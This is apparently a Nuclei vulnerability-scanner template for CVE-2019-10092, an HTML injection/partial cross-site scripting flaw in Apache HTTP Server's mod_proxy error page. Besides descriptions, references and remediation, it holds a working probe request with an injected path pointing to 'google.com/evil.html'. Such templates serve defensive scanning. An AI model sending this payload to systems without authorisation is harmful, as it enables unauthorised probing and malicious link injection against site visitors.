id: CVE-2019-10092

info:
  name: Apache HTTP Server <=2.4.39 -  HTML Injection/Partial Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Apache HTTP Server versions 2.4.0 through 2.4.39 are vulnerable to a limited cross-site scripting issue affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.
  remediation: |
    Upgrade to Apache HTTP Server version 2.4.40 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2019-10092-Limited%20Cross-Site%20Scripting%20in%20mod_proxy%20Error%20Page-Apache%20httpd
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://lists.debian.org/debian-lts-announce/2019/09/msg00034.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10092
    - http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00004.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-10092
    cwe-id: CWE-79
    epss-score: 0.01582
    epss-percentile: 0.85928
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: http_server
  tags: cve,cve2019,apache,htmli,injection

http:
  - method: GET
    path:
      - '{{BaseURL}}/%5cgoogle.com/evil.html'

    matchers:
      - type: word
        words:
          - "<a href=\"/\\google.com/evil.html\">"

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